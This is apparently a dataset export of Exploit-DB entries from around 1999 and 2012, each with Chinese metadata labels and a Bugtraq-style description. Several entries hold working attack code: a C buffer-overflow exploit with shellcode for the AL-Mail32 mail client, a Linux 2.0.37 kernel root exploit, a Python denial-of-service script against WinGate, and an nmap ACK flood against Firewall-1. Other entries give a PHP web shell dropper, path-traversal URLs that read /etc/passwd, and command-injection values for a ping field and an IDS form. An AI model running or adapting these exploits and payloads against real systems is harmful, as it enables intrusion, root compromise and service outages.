QLWD/code_shield huggingface dataset:
标题: CREAR ALMail32 1.10 - Remote Buffer Overflow EDB-ID: 19450 CVE: 1999-0673 类型: REMOTE 平台: WINDOWS 发布日期: 1999-08-08 漏洞利用脚本: // source: https://www.securityfocus.com/bid/574/info

The ALMail32 POP3 client conatins unchecked buffers in the header parsing code. An abnormally long FROM: or TO: field in the header of an incoming email will overwrite the buffer and allow arbitrary code to be executed. 

/*=============================================================================
   AL-Mail32 Version 1.10 Exploit for Windows98
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/

#include    <stdio.h>
#include    <string.h>

#define HEADER1 \
"From hehehe@hohoho.com Sat Jul 32 25:01 JST 1999\n"\
"Message-ID: <001_The_ShadowPenguinSecurity_@rockhopper>\n"

#define HEADER2 \
"Content-Transfer-Encoding: 7bit\n"\
"X-Mailer: PenguinMailer Ver1.01\n"\
"Content-Type: text/plain; charset=US-ASCII\n"\
"Content-Length: 6\n"\
"\n"\
"hehe\n"

#define RETADR          260
#define JMPADR          256
#define JMPOFS          6
#define JMP_EBX_ADR     0xbff7a06b
#define CMDLENP         0x43
#define BUFEND          5000

#define FUNC            "msvcrt.dll.system.exit."

#define JMPS            0xeb
#define NOP             0x90

unsigned char exploit_code[200]={
 0xEB,0x4D,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
 0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
 0xB8,0x27,0x6E,0xF7,0xBF,0x40,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,
 0x83,0xC3,0x04,0x88,0x23,0xB8,0x27,0x6E,0xF7,0xBF,0x40,0xFF,0xD0,0x8B,0xF8,0x43,
 0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7,0xE8,
 0xAE,0xFF,0xFF,0xFF,0x00
};

main(int argc,char *argv[])
{
    FILE        *fp;
    static char buf[10000];
    int         i,r,ip;

    if (argc!=3){
        printf("usage : %s MailSpoolDirectry WindowsCommand\n",argv[0]);
        exit(1);
    }
    
    if ((fp=fopen(argv[1],"wb"))==NULL){
        printf("Permittion denied :-P\n");
        exit(1);
    }   
    fwrite(HEADER1,1,strlen(HEADER1),fp);

    memset(buf,NOP,BUFEND);
    strcat(exploit_code,FUNC);
    strcat(exploit_code,argv[2]);
    exploit_code[CMDLENP]=strlen(argv[2]);
    strncpy(buf+RETADR+4,exploit_code,strlen(exploit_code));

    ip=JMP_EBX_ADR;
    buf[JMPADR]  =0xeb;
    buf[JMPADR+1]=0x06;
    buf[RETADR+3]=0xff&(ip>>24);
    buf[RETADR+2]=0xff&(ip>>16);
    buf[RETADR+1]=0xff&(ip>>8);
    buf[RETADR]  =ip&0xff;
    buf[BUFEND]  =0;

    fprintf(fp,"Reply-To: \"%s\" <hehehe@hohoho.com>\n",buf);
    fprintf(fp,"From: \"%s\" <hehehe@hohoho.com>\n",buf);

    fwrite(HEADER2,1,strlen(HEADER2),fp);
    fclose(fp);
} URL: https://www.exploit-db.com/exploits/19450
标题: Netscape Enterprise Server 3.51/3.6 - JHTML View Source EDB-ID: 19443 CVE: 1999-1130 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/559/info

Netscape Enterprise Server 3.51 and above includes a search engine by default. The results it generates can be tailored using various configuration files, and one of the options is whether or not the full text of a resultant page is displayed. This option is turned off by default. However, even with this setting in place, it is possible to construct a specific query that will return the full text of a JHTML page (active content, similar to an IIS .asp page) or other scripted files. 

These example URLs may be wrapped for readability: (copied verbatim from David Litchfield's post to Bugtraq)
h t t p://no-such-server/search?NS-search-page=results&NS-query=A&NS-collection=B&NS-tocrec-pat=/text/HTML-tocrec-demo1.pat
where A is the query e.g. the word "that" and B is the collection e.g. "Web+Publish" or "web_htm".
-OR-
h t t p://no-such-server/search?NS-search-page=document&NS-rel-doc-name=/path/to/indexed/file.jhtml&NS-query=URI!=''&NS-collection=A
where A is the collection without having to go through the rigmarole of playing around with HTML-tocrec-demo1.pat in the URL. URL: https://www.exploit-db.com/exploits/19443
标题: Microsoft FrontPage Personal Web Server 1.0 - PWS Denial of Service EDB-ID: 19445 CVE: 1999-0681 类型: DOS 平台: WINDOWS 发布日期: 1999-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/568/info


A 'GET' request for a URL longer than 166 characters will overflow a buffer and cause the web server to crash with the following or similar error message:

VHTTPD32 caused an invalid page fault in
module VHTTPD32.EXE at 0137:0040aaed.
Registers:
EAX=010d7740 CS=0137 EIP=0040aaed EFLGS=00010202
EBX=00000000 SS=013f ESP=010d53d0 EBP=010d0074
ECX=010d7740 DS=013f ESI=010d7740 FS=13c7
EDX=000000a8 ES=013f EDI=bff92ac1 GS=0000
Bytes at CS:EIP:
ff 75 10 56 68 94 01 00 00 eb 1c 68 00 24 40 00
Stack dump:
00000010 010d7740 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000
00000000 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19445.zip URL: https://www.exploit-db.com/exploits/19445
标题: Check Point Software Firewall-1 3.0/1 4.0 - Table Saturation Denial of Service EDB-ID: 19436 CVE: 1999-0770 类型: DOS 平台: HARDWARE 发布日期: 1999-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/549/info

A denial of service condition exists in some implementations of Firewall-1 by Checkpoint Software. This denial of service attack is possible due to the way Firewall-1 handles TCP connections.

Typically to initiate a TCP connection, a SYN packet is sent to the destination host. On systems where Firewall-1 is installed, this packet is first passed through an internal stack maintained by the Firewall before it is passed onto the operating system's native stack. When Firewall-1 filters this packet, it checks it against the rule base. If the session is allowed where it's rulebase is concerned, it is added to the connections table with a timeout of 60 seconds. When the remote host responds with an ACK (Acknowledge) packet, the session is bumped up to a 3600 second timeout.

However, if you initiate a connection with an ACK packet, Firewall-1 compares it against the rule base, if allowed it is added to the connections table. However, the timeout is set to 3600 seconds and does not care if a remote system responds. You now have a session with a 1 hour timeout, even though no system responded. If this is done with a large amount of ACK packets, it will result in a full connections table. This results in your Firewall-1 refusing subsequent connections from any source effectively rendering the Firewall-1 useless in a 'failed closed' state. 

Most companies allow http outbound. Run this command as root from an internal system, I give your FW about 10 to 15 minutes. If your internal network is a 10.x.x.x, try 172.16.*.*

nmap -sP 10.*.*.*

nmap is a very powerful port scanner. With this command it does only a PING and TCP sweep (default port 80), but uses an ACK instead of a SYN.

To verify that your connections table is quickly growing, try "fw tab -t connections -s" at 10 second intervals.

Tested on ver 4.0 SP3 on Solaris x86 2.6. URL: https://www.exploit-db.com/exploits/19436
标题: Network Security Wizards Dragon-Fire IDS 1.0 - Command Execution EDB-ID: 19444 CVE: 1999-0913 类型: REMOTE 平台: HARDWARE 发布日期: 1999-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/564/info

The Dragon-Fire IDS remote web interface under version 1.0 has an insecure CGI script which allows for users to remotely execute commands as the user nobody. This could lead to a remote compromise of the system running Dragon-Fire. 

Via the web interface for Dragon-Fire inside the IPONE field type your desired command prefaced with a | an example could be:

|echo 'uname -a'

The output of the command will then be displayed in the right hand window of the IDS WWW interface. URL: https://www.exploit-db.com/exploits/19444
标题: NetBSD 1.4 / OpenBSD 2.5 / Solaris 7.0 - 'profil(2)' Modify The Internal Data Space EDB-ID: 19447 CVE: 1999-0674 类型: LOCAL 平台: MULTIPLE 发布日期: 1999-08-09 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/570/info

Some *BSD's use a profil(2) system call that dates back to "version 6" unix. This system call arranges for the kernel to sample the PC and increment an element of an array on every profile clock tick.

The security issue stems from the fact that profiling is not turned off when a process execve(2)'s another program image.

As the size and location of this array as well as the scale factor are under the program's control, it is possible to arrange for an arbitrary 16-bit program virtual address to be incremented on each profile clock tick.

Although unlikely, it is theoretically possible that an attacker with local access and knowledge of the addresses used by privileged programs could construct an exploit.

It may be that there are no candidate addresses that, when incremented, result in a security failure. However, as this can turn -1 into 0, and 0 into 1, and as security-related system calls and library functions often return either -1 or 0, this mechanism could turn system call returns of success into failure or failure into success if a program stores system call results into memory locations.
*/

/* This program will check to see if a given system has the profil(2) bug
described in NetBSD Security Advisory 1999-011. If it prints `Counting!'
then you've got it...

At least one system (Solaris) appears to fix the security issue but
doesn't turn off profiling unless the new image is owned by a different
user. To check for this, you need to do something like:

% cc profiltest.c
% su
# cp a.out prog.setuid
# chown (something) prog.setuid
# (possibly make it setuid)
# exit
% ./a.out

If the program doesn't find prog.setuid, it just exec's itself; this
gets the same result on most systems. (So: % cc profiltest.c; ./a.out)

So far, I've only found it in BSD systems. Linux hasn't had profiling
in the kernel for a while, so current versions should not be vulnerable. */

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>

volatile unsigned short twobins[2];

int
main(int ac, char **av)
{

if (ac == 1) {
/* can't check the return value; on some systems it's void */
profil((char *)twobins, sizeof twobins, (u_long)&main, 2);
/* try a different image for uid/setuid tests */
execl("prog.setuid", "tryroot", "-", 0);
/* otherwise, just chain to ourself */
execl(av[0], av[0], "-", 0);
fprintf(stderr, "problems\n");
exit(1);
}
for(;;) {
if (twobins[0] | twobins[1]) {
printf("Counting!\n");
twobins[0] = twobins[1] = 0;
}
}
}

/* ross.harvey@computer.org */ URL: https://www.exploit-db.com/exploits/19447
标题: BMC Software Patrol 3.2.5 - Patrol SNMP Agent File Creation/Permission EDB-ID: 19422 CVE: 1999-1460 类型: LOCAL 平台: LINUX 发布日期: 1999-07-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/525/info


Patrol 3.2, installed out of the box, allows for a local root compromise or denial of service. The vulnerability lies in the creation of a file by snmpagnt that is owned by the owner of the parent directory of the file and possibly world writeable. A local user can specify any file (/.rhosts) and create it / set the permissions according to the user's umask.

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al snmpmagt
-rwsr-xr-x 1 root users 185461 Mar 6 1998 snmpmagt*

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts
/.rhosts not found

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> umask 0

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> snmpmagt yoyoyo /.rhosts

yoyoyo: No such file or directory
snmp bind failure: Address already in use
/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin/snmpmagt: error processing configuration

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts
-rw-rw-rw- 1 root users 770 Jul 13 14:42 .rhosts

note: If the file exists, it keeps the same perms and overwrites it
with "i^A" then the result of gethostname() and some whitespace. this
problem is not platform dependent and was tested based on out of box
install on an HP. URL: https://www.exploit-db.com/exploits/19422
标题: Linux Kernel 2.0.37 - Segment Limit Privilege Escalation EDB-ID: 19419 CVE: 1999-1166 类型: LOCAL 平台: LINUX 发布日期: 1999-07-13 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/523/info

This vulnerability has to do with the division of the address space between a user process and the kernel. Because of a bug, if you select a non-standard memory configuration, sometimes user level processes may be given access upto 252Mb of memory that are really part of the kernel. This allows the process to first search for its memory descriptor and then extend it to cover the rest of the kernel memory. It can then search for a task_struct and modify it so its uid is zero (root). This vulnerability is very obscure, only works on that version of linux, and only if you select a non-standard memory configuration.


The exploit (local root, can be extended to also reset securelevel;
will only compile with libc 5, you'd have to rip task_struct out of
<linux/sched.h> for compiling with glibc):
*/


#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#include <unistd.h>
#include <grp.h>
#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>

void die1()
{
        puts("\nFailed: probably not vulnerable");
        exit(1);
}

void die2()
{
        puts("\nVulnerable, but failed to exploit");
        exit(1);
}

int main()
{
        int *sp = (int *)&sp;
        int *d = sp;
        struct task_struct *task = (struct task_struct *)sp;
        int pid, uid;
        struct rlimit old, new;

        setbuf(stdout, NULL);
        printf("Searching for the descriptor... ");

        signal(SIGSEGV, die1);

        while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
                (d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;

        signal(SIGSEGV, die2);

        printf("found at %p\nExtending its limit... ", d + 2);

        d[2] |= 0xF0000;

        printf("done\nSearching for task_struct... ");

        pid = getpid();
        uid = getuid();

        if (getrlimit(RLIMIT_FSIZE, &old)) {
                perror("getrlimit");
                return 1;
        }

 search:
        new = old; new.rlim_cur--;
        if (setrlimit(RLIMIT_FSIZE, &new))
                new.rlim_cur = old.rlim_cur;

        do {
                ((int *)task)++;
        } while (task->pid != pid || task->uid != uid);

        if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;

        if (setrlimit(RLIMIT_FSIZE, &old)) {
                perror("setrlimit");
                return 1;
        }

        if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;

        printf("found at %p\nPatching the UID... ", task);

        task->uid = 0;
        setuid(0);
        setgid(0);
        setgroups(0, NULL);

        puts("done");

        execl("/usr/bin/id", "id", NULL);
        return 1;
} URL: https://www.exploit-db.com/exploits/19419
标题: Microsoft Data Access Components (MDAC) 2.1 / Microsoft IIS 3.0/4.0 / Microsoft Index Server 2.0 / Microsoft Site Server Commerce Edition 3.0 i386 MDAC - RDS (2) EDB-ID: 19425 CVE: 1999-1011 类型: LOCAL 平台: WINDOWS 发布日期: 1999-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/529/info
 
MDAC (Microsoft Data Access Components) is a package used to integrate web and database services. It includes a component named RDS (Remote Data Services). RDS allows remote access via the internet to database objects through IIS. Both are included in a default installation of the Windows NT 4.0 Option Pack, but can be excluded via a custom installation.
 
RDS includes a component called the DataFactory object, which has a vulnerability that could allow any web user to:
--Obtain unauthorized access to unpublished files on the IIS server
--Use MDAC to tunnel ODBC requests through to a remote internal or external location, thereby obtaining access to non-public servers or effectively masking the source of an attack on another network.
 
The main risk in this vulnerability is the following:
--If the Microsoft JET OLE DB Provider or Microsoft DataShape Provider are installed, a user could use the shell() VBA command on the server with System privileges. (See the Microsoft JET Database Engine VBA Vulnerability for more information). These two vulnerabilities combined can allow an attacker on the Internet to run arbitrary commands with System level privileges on the target host. 


--RDSExploit information:
RDS EXPLOITER For Win98/NT
Â 
Â 
How it Works:
Â 
Â Â Â Â Â Â Â  The Intent of RDS Exploit is Deliver Shell comands into the machine or Retrive some DATA from a ODBC valid conection.
Â Â Â Â Â Â 
1. Seting ODBC Conection:
First of all you will need to know some valid DSN, the UID (User ID) and Password.Â  Put the information about the conection into "Connection Properties":
Data Source: The DSN Conection Name (it MUST be a registered DSN)
User ID: Login (it can be null sometimes)
Password: Password (it can be null sometimes)Â Â 
Mode: The way you want to open the Table (Read Only or Read and Write)
Â 
You must follow the order above and don't forget the ; to separate the options
Â It can be for instance a line like this:
"Data Source=AdvWorks;User ID=;Password=;Mode=Read|Write;"
Â Â 
2. SQL Comands:
Put into the "SQL Parameters" box the command line you want to deliver for example:
"SELECT * FROM Products"

3. Host:
Â You MUST Enter the host like this http://serverÂ  DON'T FORGET HTTP:// or it'll not work.
Â 
After all done, just click in the button "Retrieve Data" and see what happens =)
Â  


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19425.zip URL: https://www.exploit-db.com/exploits/19425
标题: BSDI BSD/OS 4.0 /FreeBSD 3.2 /NetBSD 1.4 x86 / OpenBSD 2.5 - UFS Secure Level 1 EDB-ID: 19411 CVE: 1999-1394 类型: LOCAL 平台: BSD 发布日期: 1999-07-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/510/info

In 4.4BSD derivatives there are four secure levels that provide for added filesystem security (among other things) over and above the regular unix permission systems. Part of the secure levels are the system of file flags which include immutable and append-only flags. In secure level 0, these flags are irrelevant. The vulnerability lies in the inherent flaw with security level 1. In security level 1, the file flags are acknowledged; files such as /usr/bin/login can be set immutable and so forth -- however, umounted partitions/devices can be freely written to and modified (by root, of course). Stealth <stealth@cyberspace.org> has written a tool which allows for an intruder who has gained root to bypass security level 1 through writing directly to the device and clearing the file flags. The tool also sets the CLEAN flag in the filesystem which fools the computer into thinking the modified device is clean avoiding detection at bootup. A hypothetical situation for exploit of this vulnerability is as follows,

Hacker compromises root on target host.
Hacker attempts backdoor insertion and realizes suid binaries are immutable.
Hacker verifies secure level is set to 1.
Hacker umounts /usr.
Hacker writes directly to device previously mounted as /usr, clearing file flags.
Hacker mounts modified device as /usr.
Hacker installs backdoored /usr/bin/login. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19411.tgz URL: https://www.exploit-db.com/exploits/19411
标题: symantec Web gateway 5.0.2.8 - Multiple Vulnerabilities EDB-ID: 19406 CVE: 2012-0298 2012-0297 类型: WEBAPPS 平台: LINUX 发布日期: 2012-06-27 漏洞利用脚本: Software: Symantec Web Gateway
Current Software Version: 5.0.2.8
Product homepage: www.symantec.com
Author: S2 Crew [Hungary]
CVE: CVE-2012-0297, CVE-2012-0298, ???

File include:
        https://192.168.82.207/spywall/previewProxyError.php?err=../../../../../../../../etc/passwd

File include and OS command execution:
        http://192.168.82.207/spywall/releasenotes.php?relfile=../../../../../../etc/passwd
        You can execute OS commands just include the error_log:
        /usr/local/apache2/logs/
        -rw-r--r--   1 root   root  5925 Nov 15 07:25 access_log
        -rw-r--r--   1 root   root  3460 Nov 15 07:21 error_log

        Make a connection to port 80:
        <?php
        $f = fopen('/var/www/html/spywall/cleaner/cmd.php','w');
        $cmd = "<?php system(\$_GET['cmd']); ?>";
        fputs($f,$cmd);
        fclose($f);
  print "Shell creation done<br>";
        ?>

Arbitary file download and delete:
        https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog
 d parameter: the complete filename 
        After the download process application removes the original file with root access! :)

        Command execution methods:
        1.Method
        Download and delete the /var/www/html/ciu/.htaccess file.
        After it you can access the ciu interface on web.
        There is an upload script: /ciu/uploadFile.php
 User can control the filename and the upload location:
        $_FILES['uploadFile'];
        $_POST['uploadLocation'];

        2.Method
        <form action="https://192.168.82.192/ciu/remoteRepairs.php" method="POST" enctype="multipart/form-data">
        <input type="file" name="uploadFile">
        <input type="text" name="action" value="upload">
        <input type="text" name="uploadLocation" value="/var/www/html/spywall/cleaner/">
        <input type="hidden" name="configuration" value="test">
        <input type="submit" value="upload!">
        </form>
 
 The "/var/www/html/spywall/cleaner" is writeable by www-data.

Command execution after authentication:

        http://192.168.82.207/spywall/adminConfig.php (this is deprecated config file, it should be remove)

        From the modified POST message:
        Content-Disposition: form-data; name="pingaddress"
        127.0.0.1`whoami>/tmp/1234.txt` URL: https://www.exploit-db.com/exploits/19406
标题: Qbik WinGate 3.0/Pro 4.0.1/Standard 4.0.1 - Buffer Overflow (Denial of Service) (PoC) EDB-ID: 19410 CVE: 1999-0441 类型: DOS 平台: WINDOWS 发布日期: 1999-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/509/info

WinGate's Winsock redirector service is susceptible to a buffer overflow vilnerability that will crash all WinGate services.

#!/usr/bin/python
#
# Qbik Wingate 3.0 DoS Proof of Concept Code.
# Vulnerability Discovered by eEye Digital Security
Team(http://www.eEye.com)
# Simple Script by Prizm(Prizm@Resentment.org)
# 
# By connecting to port 2080 on a system running Qbik Wingate 3.0 and
# sending 2000
# characters, all wingate services will crash.
# *Solution* Upgrade to 4.0.1, version is not vulnerable to this Denial of
# Service attack. 
#
# This *simple* little script will crash all wingate services.


import socket
import sys
from string import strip

host="xxx.xxx.xxx.xxx" # Replace x's with IP.
port=2080
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
  s.connect(host,port)
  print "connection succeeded."
except socket.error, e:
  print "connection failed, " + e.args

s.send("A" * 2000)

#end URL: https://www.exploit-db.com/exploits/19410